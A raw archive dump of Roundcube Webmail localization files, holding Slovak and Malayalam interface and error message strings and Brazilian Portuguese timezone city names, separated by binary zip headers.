$messages['contactrestored'] = 'Kontakty boli úspešne obnovené.';
$messages['groupdeleted'] = 'Skupina bola úspešne vymazaná.';
$messages['grouprenamed'] = 'Skupina bola úspešne premenovaná.';
$messages['groupcreated'] = 'Skupina bola úspešne vytvorená.';
$messages['savedsearchdeleted'] = 'Uložené výsledky vyhľadávania boli úspešne vymazané.';
$messages['savedsearchdeleteerror'] = 'Nemožno vymazať uložené výsledky vyhľadávania.';
$messages['savedsearchcreated'] = 'Uložené výsledky vyhľadávania boli úspešne vytvorené.';
$messages['savedsearchcreateerror'] = 'Nemožno vytvoriť uložené výsledky vyhľadávania.';
$messages['messagedeleted'] = 'Vymazanie správ(y) bolo úspešné.';
$messages['messagemoved'] = 'Presunutie správ(y) bolo úspešné.';
$messages['messagemovedtotrash'] = 'Presun správ(y) do koša bol úspešný.';
$messages['messagecopied'] = 'Kopírovanie správ(y) bolo úspešné.';
$messages['messagemarked'] = 'Označovanie správ(y) bolo úspešné.';
$messages['autocompletechars'] = 'Zadajte najmenej $min znakov pre automatické dopĺňanie.';
$messages['autocompletemore'] = 'Našlo sa viacero záznamov. Zadajte prosím viac znakov.';
$messages['namecannotbeempty'] = 'Meno nemôže byť prázdne.';
$messages['nametoolong'] = 'Meno je príliš dlhé.';
$messages['namedotforbidden'] = 'Názov priečinka nemôže začínať bodkou.';
$messages['folderupdated'] = 'Priečinok bol úspešne aktualizovaný.';
$messages['foldercreated'] = 'Priečinok bol úspešne vytvorený.';
$messages['invalidimageformat'] = 'Neplatný formát obrázka';
$messages['mispellingsfound'] = 'V správe boli nájdené pravopisné chyby.';
$messages['parentnotwritable'] = 'Nemožno vytvoriť/presunúť priečinok do vybraného rodičovského priečinka. Nemáte prístupové oprávnenia.';
$messages['messagetoobig'] = 'Časť správy je príliš veľká na spracovanie.';
$messages['attachmentvalidationerror'] = 'Táto príloha je podozrivá, pretože jej typ sa nezhoduje s typom deklarovaným v správe. Ak odosielateľovi nedôverujete, nemali by ste ju otvárať v prehliadači, pretože môže mať škodlivý obsah.<br/><br/><em>Očakávalo sa: $expected; našlo sa: $detected</em>';
$messages['noscriptwarning'] = 'Upozornenie: Táto webmailová služba vyžaduje Javascript! Ak ju chcete používať, prosím aktivujte Javascript v nastaveniach svojho prehliadača.';
$messages['messageissent'] = 'Správa už bola odoslaná, ešte však nebola uložená. Chcete ju uložiť teraz?';
$messages['errnotfound'] = 'Súbor sa nenašiel';
$messages['errnotfoundexplain'] = 'Požadovaný zdroj nebol nájdený!';
$messages['errfailedrequest'] = 'Neúspešná požiadavka';
$messages['errauthorizationfailed'] = 'Autorizácia bola neúspešná';
$messages['errunauthorizedexplain'] = 'Nebolo možné overiť vašu autorizáciu na prístup k tejto službe!';
$messages['errrequestcheckfailed'] = 'Kontrola požiadavky bola neúspešná';
$messages['errcsrfprotectionexplain'] = "Kvôli vašej bezpečnosti je prístup k tomuto zdroju zabezpečený proti útokom typu CSRF.\nAk vidíte túto správu, pravdepodobne ste sa neodhlásili pred opustením webovej aplikácie.\n\nPre pokračovanie je teraz potrebný zásah človeka.";
$messages['errcontactserveradmin'] = 'Prosím kontaktujte administrátora servera.';
$messages['clicktoresumesession'] = 'Ak chcete pokračovať v predchádzajúcej relácii, prosím kliknite sem';
$messages['errcomposesession'] = 'Chyba relácie pre vytváranie správy';
$messages['errcomposesessionexplain'] = 'Požadovaná relácia pre vytvorenie správy sa nenašla';
$messages['clicktocompose'] = 'Ak chcete vytvoriť novú správu, kliknite sem';
$messages['nosupporterror'] = 'Táto funkcia nie je podporovaná vaším webovým prehliadačom.';
$messages['siginserted'] = 'Podpis bol úspešne vložený.';
$messages['responseinserted'] = 'Odpoveď bola úspešne vložená.';
$messages['noresponsesavailable'] = 'Nie sú dostupné žiadne odpovede';
$messages['listempty'] = 'Zoznam je prázdny.';
$messages['listusebutton'] = 'Na pridanie nového záznamu použite tlačidlo Vytvoriť.';
$messages['keypaircreatesuccess'] = 'Pre identitu $identity bol úspešne vytvorený nový pár kľúčov.';
$messages['emptyattachment'] = 'Zdá sa, že táto príloha je prázdna.<br>Prosím overte to u osoby, ktorá ju odoslala.';
$messages['oauthloginfailed'] = 'Prihlásenie OAuth bolo neúspešné. Prosím skúste to znovu.';
PK
h�\f�n#B#B%program/localization/ml_IN/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product ലേയ്ക്ക് സ്വാഗതം';
$labels['username'] = 'ഉപയോക്തൃനാമം';
$labels['password'] = 'രഹസ്യവാക്ക്';
$labels['server'] = 'സേവകന്‍';
$labels['login'] = 'പ്രവേശിക്കുക';
$labels['logout'] = 'പുറത്ത് കടക്കുക';
$labels['mail'] = 'തപാല്‍';
$labels['settings'] = 'ക്രമീകരണങ്ങള്‍';
$labels['addressbook'] = 'വിലാസ പുസ്തകം';
$labels['inbox'] = 'ഇന്‍ബോക്സ്';
$labels['drafts'] = 'പൂര്‍ത്തിയാകാത്തവ';
$labels['sent'] = 'അയച്ചവ';
$labels['trash'] = 'ചവറ്റുകുട്ട';
$labels['junk'] = 'ആവശ്യമില്ലാത്തവ';
$labels['subject'] = 'വിഷയം';
$labels['from'] = 'പ്രേഷിതന്‍';
$labels['sender'] = 'അയചയാള്‍';
$labels['to'] = 'സ്വീകര്‍ത്താവ്';
$labels['date'] = 'തീയതി';
$labels['size'] = 'വലിപ്പം';
$labels['priority'] = 'മുന്‍ഗണന';
$labels['readstatus'] = 'അവസ്ഥ വായിക്കുക';
$labels['mailboxlist'] = 'ഫോള്‍ഡറുകള്‍';
$labels['copy'] = 'പകര്‍ത്തുക';
$labels['move'] = 'നീക്കുക';
$labels['download'] = 'ഡൗണ്‍ലോഡ്';
$labels['showattachment'] = 'പ്രദർശിപ്പിക്കുക';
$labels['filename'] = 'ഫയല്‍ നാമം';
$labels['filesize'] = 'ഫയലിന്റെ വലിപ്പം';
$labels['addtoaddressbook'] = 'മേല്‍വിലാസങ്ങളില്‍ ചേര്‍ക്കുക.';
$labels['sun'] = 'ഞാ';
$labels['mon'] = 'തി';
$labels['tue'] = 'ചൊ';
$labels['wed'] = 'ബു';
$labels['thu'] = 'വ്യാ';
$labels['fri'] = 'വെ';
$labels['sat'] = 'ശ';
$labels['sunday'] = 'ഞായര്‍';
$labels['monday'] = 'തിങ്കള്‍';
$labels['tuesday'] = 'ചൊവ്വ';
$labels['wednesday'] = 'ബുധന്‍';
$labels['thursday'] = 'വ്യാഴം';
$labels['friday'] = 'വെള്ളി';
$labels['saturday'] = 'ശനി';
$labels['jan'] = 'ജനു';
$labels['feb'] = 'ഫെബ്';
$labels['mar'] = 'മാര്‍';
$labels['apr'] = 'ഏപ്ര';
$labels['may'] = 'മെ';
$labels['jun'] = 'ജൂണ്‍';
$labels['jul'] = 'ജൂലൈ';
$labels['aug'] = 'ആഗസ്റ്റ്';
$labels['sep'] = 'സെപ്റ്റംബര്‍';
$labels['oct'] = 'ഒക്ടോബര്‍';
$labels['nov'] = 'നവംബര്‍';
$labels['dec'] = 'ഡിസംബര്‍';
$labels['longjan'] = 'ജനുവരി';
$labels['longfeb'] = 'ഫെബ്രുവരി';
$labels['longmar'] = 'മാര്‍ച്ച്';
$labels['longapr'] = 'ഏപ്രില്‍';
$labels['longmay'] = 'മെ';
$labels['longjun'] = 'ജൂണ്‍';
$labels['longjul'] = 'ജൂലൈ';
$labels['longaug'] = 'ആഗസ്റ്റ്';
$labels['longsep'] = 'സെപ്തംബ‌ര്‍';
$labels['longoct'] = 'ഒക്ടോബര്‍';
$labels['longnov'] = 'നവംബ‌ര്‍';
$labels['longdec'] = 'ഡിസംബ‌ര്‍';
$labels['today'] = 'ഇന്ന്';
$labels['refresh'] = 'പുതുക്കുക';
$labels['checkmail'] = 'പുതിയ സന്ദേശത്തിനായി തിരയുക';
$labels['compose'] = 'രചന';
$labels['reply'] = 'മറുപടി';
$labels['forward'] = 'കൈമാറുക';
$labels['forwardmessage'] = 'സന്ദേശം കൈമാറുക';
$labels['deletemessage'] = 'സന്ദേശം മായ്ക്കുക';
$labels['movemessagetotrash'] = 'സന്ദേശം ചവറ്റുകുട്ടയിലേക്ക് നീക്കുക';
$labels['printmessage'] = 'ഈ സന്ദേശം അച്ചടിക്കുക';
$labels['previousmessage'] = 'മുന്‍പുളള സന്ദേശം കാണിക്കുക.';
$labels['firstmessage'] = 'ആദ്യത്തെ സന്ദേശം കാണിക്കുക.';
$labels['nextmessage'] = 'അടുത്ത സന്ദേശം കാണിക്കുക.';
$labels['lastmessage'] = 'അവസാനത്തെ സന്ദേശം കാണിക്കുക.';
$labels['viewsource'] = 'ഉറവിടം കാണിക്കുക.';
$labels['mark'] = 'അടയാളപ്പെടുത്തു';
$labels['markmessages'] = 'സന്തേശങ്ങള്‍ അടയാളപ്പെടുത്തു';
$labels['markread'] = 'വായിച്ചതായി';
$labels['markunread'] = 'വായിക്കാത്തതായി';
$labels['moreactions'] = 'കൂടുതല്‍ ചെയ്തികള്‍...';
$labels['more'] = 'കൂടുതല്‍';
$labels['back'] = 'പിന്നോട്ട്';
$labels['options'] = 'ഐച്ഛികങ്ങള്‍‌';
$labels['select'] = 'തെരഞ്ഞെടുക്കുക';
$labels['all'] = 'എല്ലാം';
$labels['none'] = 'ഒന്നുമില്ല';
$labels['currpage'] = 'നിലവിലുളള പേജ്';
$labels['isread'] = 'വായിച്ചവ';
$labels['unread'] = 'വായിക്കാത്തത്';
$labels['flagged'] = 'അടയാളപ്പെടുത്തിയവ';
$labels['unanswered'] = 'മറുപടി കൊടുക്കാത്ത';
$labels['deleted'] = 'മായ്ച്ചവ';
$labels['invert'] = 'തലതിരിക്കുക';
$labels['filter'] = 'അരിപ്പ';
$labels['list'] = 'പട്ടിക';
$labels['expand-all'] = 'എല്ലാം വികസിപ്പിക്കുക';
$labels['expand-unread'] = 'വായിക്കാത്തവ വികസിപ്പിക്കുക';
$labels['collapse-all'] = 'എല്ലാം അടയ്ക്കുക';
$labels['fromto'] = 'എവിടുന്ന് /എങ്ങൊട്ടു';
$labels['nonesort'] = 'ഒന്നുമില്ല';
$labels['sentdate'] = 'അയച്ച തീയതി';
$labels['arrival'] = 'വന്ന തീയതി';
$labels['asc'] = 'ആരോഹണം';
$labels['desc'] = 'അവരോഹണം';
$labels['listorder'] = 'തരംതിരിക്കണ്ട രീതി';
$labels['layoutlist'] = 'പട്ടിക';
$labels['compact'] = 'ചുരുക്കു';
$labels['empty'] = 'ശൂന്യം';
$labels['quota'] = 'ഡിസ്ക്ക് ഉപയോഗം';
$labels['unknown'] = 'അറിയാത്ത';
$labels['unlimited'] = 'പരിമിതികളില്ലാത്ത';
$labels['quicksearch'] = 'പെട്ടെന്ന് തെരയു';
$labels['msgtext'] = 'മുഴുവന്‍ സന്ദേശവും';
$labels['body'] = 'ഉള്ളടക്കം';
$labels['openinextwin'] = 'പുതിയ വിന്‍ഡോയില്‍ തുറക്കുക';
$labels['editasnew'] = 'പുതിയതായി തിരുത്തുക';
$labels['sendmessage'] = 'സന്ദേശം അയയ്ക്കുക';
$labels['savemessage'] = 'പൂര്‍ത്തിയാകാത്തവ ആയി സൂക്ഷിക്കുക';
$labels['addattachment'] = 'ഒരു ഫയല്‍ മെയിലിനൊപ്പം ചേര്‍ക്കുക';
$labels['editortype'] = 'തിരുത്തല്‍ രീതി';
$labels['originalmessage'] = 'യഥാര്‍ഥ സന്ദേശം';
$labels['recipient'] = 'സ്വീകര്‍ത്താവ്';
$labels['checkspelling'] = 'അക്ഷരത്തെറ്റു് പരിശോധിക്കുക';
$labels['resumeediting'] = 'തിരുത്തല്‍ തുടരുക';
$labels['attach'] = 'സംയോജിപ്പിക്കു';
$labels['attachments'] = 'അറ്റാച്ച്മെന്റുകള്‍';
$labels['upload'] = 'അപ്‌ലോഡ് ചെയ്യുക';
$labels['close'] = 'അടയ്ക്കുക';
$labels['messageoptions'] = 'സന്ദേശ ​ഐച്ഛികങ്ങള്‍...';
$labels['low'] = 'കുറഞ്ഞ';
$labels['lowest'] = 'ഏറ്റവും കുറഞ്ഞ';
$labels['normal'] = 'സാധാരണ';
$labels['high'] = 'കൂടിയ';
$labels['highest'] = 'ഏറ്റവും കൂടിയത്';
$labels['nosubject'] = '(വിഷയം ഇല്ല)';
$labels['showimages'] = 'ചിത്രങ്ങള്‍ കാണിക്കുക';
$labels['isdraft'] = 'ഇതൊരു കരടുരൂപമാണ്.';
$labels['htmltoggle'] = 'HTML';
$labels['dontsave'] = 'സുക്ഷിക്കരുത്';
$labels['maxuploadsize'] = '$size ആണ് പരമാവധി  ഫയല്‍ വലിപ്പം';
$labels['firstname'] = 'ആദ്യ നാമം';
$labels['surname'] = 'അവസാന നാമം';
$labels['nickname'] = 'ചെല്ലപേര്';
$labels['jobtitle'] = 'ജോലിയുടെ പേര്';
$labels['department'] = 'വകുപ്പ്';
$labels['gender'] = 'ലിംഗം';
$labels['maidenname'] = 'കന്യകാനാമം';
$labels['email'] = 'ഇമെയില്‍';
$labels['phone'] = 'ഫോണ്‍';
$labels['address'] = 'മേല്‍വിലാസം';
$labels['street'] = 'തെരുവ്';
$labels['locality'] = 'നഗരം';
$labels['zipcode'] = 'പിന്‍ കോഡ്';
$labels['region'] = 'സംസ്ഥാനം / പ്രദേശം';
$labels['country'] = 'രാജ്യം';
$labels['birthday'] = 'പിറന്നാള്‍';
$labels['anniversary'] = 'വാര്‍ഷികം';
$labels['website'] = 'വെബ്സൈറ്റ്';
$labels['notes'] = 'കുറിപ്പുകള്‍';
$labels['male'] = 'പുരുഷന്‍';
$labels['female'] = 'സ്‌ത്രീ';
$labels['manager'] = 'പരിപാലകന്‍';
$labels['assistant'] = 'സഹായി';
$labels['spouse'] = 'ഭാര്യ/ഭര്‍ത്താവ്';
$labels['search'] = 'തെരയുക';
$labels['advsearch'] = 'വിപുലമായ തിരച്ചില്‍';
$labels['advanced'] = 'സങ്കീര്‍ണ്ണം';
$labels['other'] = 'മറ്റുള്ളത്';
$labels['typehome'] = 'ആസ്ഥാനം';
$labels['typework'] = 'ജോലി';
$labels['typeother'] = 'മറ്റുള്ളത്';
$labels['typemobile'] = 'മോബൈല്‍';
$labels['typemain'] = 'പ്രധാനപ്പെട്ട';
$labels['typehomefax'] = 'വീട്ടിലെ ഫാക്സ്';
$labels['typeworkfax'] = 'കാര്യാലയത്തിലെ ഫാക്സ്';
$labels['typecar'] = 'കാര്‍';
$labels['typepager'] = 'പേജര്‍';
$labels['typevideo'] = 'ചലച്ചിത്രം';
$labels['typeassistant'] = 'സഹായി';
$labels['typehomepage'] = 'ഹോം പേജ്';
$labels['typeblog'] = 'ബ്ലോഗ്';
$labels['typeprofile'] = 'പ്രൊഫൈല്‍';
$labels['personalinfo'] = 'സ്വകാര്യ വിവരങ്ങള്‍';
$labels['edit'] = 'തിരുത്തുക';
$labels['cancel'] = 'റദ്ദാക്കുക';
$labels['save'] = 'സൂക്ഷിക്കുക';
$labels['delete'] = 'നീക്കം ചെയ്യുക';
$labels['rename'] = 'പേരുമാറ്റുക';
$labels['addphoto'] = 'ചേര്‍ക്കുക';
$labels['replacephoto'] = 'പകരം വയ്ക്കുക';
$labels['print'] = 'അച്ചടി';
$labels['export'] = 'പുറത്തെടുക്കുക';
$labels['grouprename'] = 'കുട്ടത്തിന്റെ പേര് മാറ്റുക';
$labels['groupdelete'] = 'കൂട്ടം മായ്ക്കുക';
$labels['previouspage'] = 'മുമ്പുളള താള്‍ കാണിയ്ക്കുക';
$labels['group'] = 'കൂട്ടം';
$labels['groups'] = 'കൂട്ടങ്ങള്‍';
$labels['personaladrbook'] = 'സ്വകാര്യ വിലാസങ്ങള്‍';
$labels['searchsave'] = 'തിരയല്‍ സൂക്ഷിക്കുക';
$labels['searchdelete'] = 'തിരയല്‍ നീക്കംചെയ്യുക';
$labels['import'] = 'പ്രോഗ്രമ്മിലേക്ക് എടുക്കുക';
$labels['done'] = 'പൂര്‍ത്തീകരിച്ചു';
$labels['about'] = 'വിവരം';
$labels['userpreferences'] = 'ഉപയൊക്ത മുന്‍ഗണനകള്‍';
$labels['preferhtml'] = 'HTML കാണിക്കുക';
$labels['language'] = 'ഭാഷ';
$labels['timezone'] = 'സമയ മേഖല';
$labels['pagesize'] = 'ഒരു താളിലെ വരികള്‍';
$labels['signature'] = 'ഒപ്പ്';
$labels['htmleditor'] = 'HTML സന്ദേശങ്ങള്‍ രചിക്കുക';
$labels['serversettings'] = 'സേവകന്റെ ക്രമീകരണങ്ങള്‍';
$labels['askuser'] = 'എന്നൊടു ചോദിക്കുക';
$labels['always'] = 'എപ്പോഴും';
$labels['never'] = 'ഒരിക്കലുമില്ല';
$labels['immediately'] = 'ഉടനടി';
$labels['2231folding'] = 'Full RFC 2231 (തണ്ടര്‍ബേട് )';
$labels['miscfolding'] = 'Full RFC 2231 ( മൈക്രൊസൊഫ്റ്റ് ഔട്ട്ലൂക്കു് )';
$labels['2047folding'] = 'Full RFC 2047 (മറ്റുള്ളവ)';
$labels['force7bit'] = '8-bit അക്ഷരങ്ങള്‍ക്കു "MIME encoding" ഉപയോഗിക്കുക';
$labels['advancedoptions'] = 'വിപുലീക്രിതമായ ക്രമീകരണങ്ങള്‍';
$labels['defaultfont'] = 'HTML സന്ദേശത്തിന്റെ തനതായ ലിപി';
$labels['section'] = 'വിഭാഗം';
$labels['newmessage'] = 'പുതിയ സന്ദേശം';
$labels['newmessageonly'] = 'പുതിയ സന്ദേശം മാത്രം';
$labels['afternseconds'] = '$n നിമിഷങ്ങള്‍ കഴിഞ്ഞു്';
$labels['spellcheckignorenums'] = 'അക്കങ്ങള്‍ ഉള്ള വാക്കുകളെ അവഗണിക്കുക';
$labels['addtodict'] = 'നിഘണ്ടുവില്‍ ചേര്‍ക്കുക';
$labels['allmessages'] = 'എല്ലാ സന്ദേശങ്ങളും';
$labels['folders'] = 'ഫോള്‍ഡറുകള്‍';
$labels['properties'] = 'സവിശേഷതകള്‍';
$labels['info'] = 'വിവരം';
$labels['getfoldersize'] = 'അറയുടെ വലുപ്പം അരിയാന്‍ ക്ലിക്ക് ചെയ്യുക';
$labels['personalfolder'] = 'സ്വകാര്യ അറ';
$labels['sharedfolder'] = 'പൊതു - അറ';
$labels['license'] = 'അനുമതി';
$labels['support'] = 'സഹായം തേടുക';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'യൂണിക്കോഡ്';
$labels['english'] = 'ഇംഗ്ലീഷ്';
$labels['westerneuropean'] = 'പടിഞ്ഞാറന്‍ യൂറോപ്യന്‍';
$labels['easterneuropean'] = 'കിഴക്കന്‍ യൂറോപ്യന്‍';
$labels['baltic'] = 'ബാള്‍ട്ടിക്ക്';
$labels['cyrillic'] = 'സിറില്ലിക്ക്';
$labels['arabic'] = 'അറബിക്ക്';
$labels['greek'] = 'ഗ്രീക്ക്';
$labels['hebrew'] = 'ഹീബ്രു';
$labels['turkish'] = 'ടര്‍ക്കിഷ്';
$labels['nordic'] = 'നോര്‍ഡിക്ക്';
$labels['thai'] = 'തായ്';
$labels['celtic'] = 'സെല്‍റ്റിക്ക്';
$labels['vietnamese'] = 'വിയറ്റ്നാമീസ്';
$labels['japanese'] = 'ജാപ്പനീസ്';
$labels['korean'] = 'കൊറിയന്‍';
$labels['chinese'] = 'ചൈനീസ്‌';
PK
h�\@0�tt'program/localization/ml_IN/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'ഒരു പിഴവ് സംഭവിച്ചിരിക്കുന്നു';
$messages['loginfailed']  = 'പ്രവേശനം പരാജയപ്പെട്ടിയിക്കുന്നു';
$messages['cookiesdisabled'] = 'താങ്കളുടെ ബ്രൗസർ കുക്കികൾ സ്വീകരിക്കുന്നതല്ല';
$messages['sessionerror'] = 'താങ്കളുടെ സെഷൻ അസാധുവാണ് അല്ലെങ്കിൽ കാലഹരണപ്പെട്ടിരിക്കുന്നു';
$messages['storageerror'] = 'സൂക്ഷിക്കുന്നതിനുള്ള സെർവറുമായി ബന്ധിപ്പിക്കാൻ സാധിച്ചില്ല';
$messages['servererror'] = 'സെർവർ പിഴവ്!';
$messages['servererrormsg'] = 'സെർവർ പിഴവ്: $msg';
$messages['connerror'] = 'ബന്ധിപ്പിക്കുന്നതിൽ പിഴവ് (സെർവറിൽ എത്താനായില്ല)!';
$messages['dberror'] = 'ഡാറ്റാബേസ് പിഴവ്';
$messages['windowopenerror'] = 'പോപ്പപ്പ് ജാലകം തടയപ്പെട്ടിരുന്നു';
$messages['requesttimedout'] = 'അപേക്ഷയുടെ കാലാവധി കഴിഞ്ഞു';
$messages['errorreadonly'] = 'പ്രവൃത്തി നടത്താനായില്ല. ഫോൾഡർ വായിക്കാൻ മാത്രമുള്ളതാണ്';
$messages['errornoperm'] = 'പ്രവര്‍ത്തനം നടത്താനായില്ല . അനുമതി നിഷേധിക്കപെട്ടിരിക്കുന്നു.';
$messages['erroroverquota'] = 'പ്രവര്‍ത്തനം നടത്താനായില്ല . ഡിസ്കിൽ സ്ഥലമില്ല.';
$messages['erroroverquotadelete'] = 'ഡിസ്കിൽ സ്ഥലമില്ല. ഒരു സന്ദേശം നീക്കം ചെയ്യാൻ SHIFT+DEL ഉപയോഗിക്കുക';
$messages['invalidrequest'] = 'അസാധുവായ അപേക്ഷ ! ഒരു ഡാറ്റയും സൂക്ഷിച്ചിട്ടില്ല.';
$messages['invalidhost'] = 'അസാധുവായ സെർവർ നാമം';
$messages['nomessagesfound'] = 'ഈ മെയിൽബോക്സിൽ സന്ദേശമൊന്നും കണ്ടെത്തിയില്ല';
$messages['loading'] = 'തുറക്കുന്നു...';
$messages['checkingmail'] = 'പുതിയ സന്ദേസങ്ങള്‍കുവേണ്ടി തിരയുന്നു...';
$messages['sendingmessage'] = 'സന്ദേശം അയക്കുന്നു...';
$messages['sendingfailed'] = 'സന്ദേശം അയക്കാന്‍ സാധിച്ചില്ല.';
$messages['senttooquickly'] = 'സന്ദേശം അയക്കുന്നതിനു മുന്പു ദയവായ്  $sec കാത്തിരിക്കൂ';
PK
h�\U5��N�N(program/localization/pt_BR/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'África';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Acra';
$labels['tz:africa:addis_ababa'] = 'Adis Abeba';
$labels['tz:africa:algiers'] = 'Argel';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Cairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Joanesburgo';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Cartum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'America';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Córdoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belém';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
